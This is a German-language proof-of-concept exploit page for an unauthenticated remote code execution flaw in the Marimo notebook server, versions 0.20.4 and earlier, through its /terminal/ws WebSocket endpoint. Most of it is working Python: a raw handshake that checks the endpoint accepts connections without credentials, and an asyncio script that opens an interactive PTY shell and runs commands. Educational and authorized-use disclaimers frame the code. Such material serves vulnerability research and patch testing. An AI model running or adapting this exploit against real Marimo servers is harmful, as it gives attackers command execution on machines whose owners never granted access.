
Proof-of-Concept-Exploit für die vorauthentifizierte Remote-Codeausführung in Marimo über den WebSocket-Endpunkt, der es nicht authentifizierten Angreifern ermöglicht, eine interaktive PTY-Shell zu erhalten.
Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke.
Vorauthentifizierte Remote-Codeausführung in Marimo <= 0.20.4.
Der WebSocket-Endpunkt /terminal/ws überspringt die Authentifizierungsprüfung, wodurch ein nicht authentifizierter Angreifer über eine einzige Verbindung eine vollständige interaktive PTY-Shell erhalten kann.
websockets (pip install websockets)Bestätigt, dass der Endpunkt Verbindungen ohne Anmeldeinformationen akzeptiert:
import socket, base64, os
host = '127.0.0.1'
port = 2718
path = '/terminal/ws'
key = base64.b64encode(os.urandom(16)).decode()
handshake = (
f'GET {path} HTTP/1.1\r\n'
f'Host: {host}:{port}\r\n'
f'Upgrade: websocket\r\n'
f'Connection: Upgrade\r\n'
f'Sec-WebSocket-Key: {key}\r\n'
f'Sec-WebSocket-Version: 13\r\n'
f'Sec-WebSocket-Protocol: terminal\r\n'
f'\r\n'
)
s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
Erwartetes Ergebnis: HTTP/1.1 101 Switching Protocols
import asyncio, websockets, re
async def exploit(host, port):
uri = f"ws://{host}:{port}/terminal/ws"
async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
print("[+] Verbindung ohne Authentifizierung hergestellt")
await asyncio.sleep(0.3)
# Initialen PTY-Banner lesen
try:
msg = await asyncio.wait_for(ws.recv(), timeout=2)
print("[PTY-Banner]:", repr(msg))
except asyncio.TimeoutError:
pass
# Befehl senden
await ws.send("id\n")
await asyncio.sleep(0.5)
# Frames bis zum Timeout lesen
output = []
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
output.append(msg)
except asyncio.TimeoutError:
break
clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
print("[RCE-Ausgabe]:", clean)
asyncio.run(exploit("127.0.0.1", 2718))
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch.